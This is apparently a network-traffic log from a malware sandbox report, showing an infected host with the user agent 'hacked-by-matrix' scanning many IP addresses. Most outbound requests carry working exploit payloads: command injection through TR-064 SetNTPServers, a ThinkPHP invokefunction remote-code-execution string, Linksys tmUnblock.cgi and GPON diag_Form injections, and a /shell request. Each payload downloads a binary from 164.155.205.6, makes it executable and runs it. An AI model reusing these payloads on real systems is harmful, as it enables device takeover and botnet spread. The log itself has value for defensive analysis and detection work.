Mar 2, 2024 12:37:46.368247032 CET	144	IN	Data Raw: 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 Data Ascii: r might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>
Mar 2, 2024 12:37:46.368290901 CET	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:37:45 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.23	59268	184.69.157.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:46.385356903 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:46.563426971 CET	495	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:37:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.25 (Debian) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.23	48034	99.239.122.224	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:46.807640076 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:47.181406975 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.23	34912	88.221.165.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:46.814276934 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:47.683408022 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:48.669825077 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:48.827186108 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Sat, 02 Mar 2024 11:37:48 GMT Date: Sat, 02 Mar 2024 11:37:48 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 62 31 31 37 30 32 26 23 34 36 3b 31 37 30 39 33 37 39 34 36 38 26 23 34 36 3b 31 38 30 63 39 37 66 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.ab11702.1709379468.180c97f2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.23	34798	88.221.144.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:46.821768999 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:46.993911028 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Sat, 02 Mar 2024 11:37:46 GMT Date: Sat, 02 Mar 2024 11:37:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 63 39 30 64 64 35 38 26 23 34 36 3b 31 37 30 39 33 37 39 34 36 36 26 23 34 36 3b 34 62 33 37 62 65 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.1c90dd58.1709379466.4b37bef</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.23	46102	194.1.225.233	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:46.847476959 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:47.040786028 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.23	43398	86.164.160.174	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:46.853854895 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:47.023109913 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.23	36358	97.120.182.181	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:46.875250101 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:47.122988939 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:49.931555033 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.23	43432	86.164.160.174	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:47.031420946 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:47.210530996 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.23	38128	54.81.116.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:47.071343899 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:37:47.583255053 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:37:47.679311991 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Sat, 02 Mar 2024 11:37:47 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.23	54838	50.73.162.121	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:47.082722902 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:37:47.196681023 CET	873	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 20 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/...*/--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url"> </span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.23	44838	65.8.235.160	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:47.103540897 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
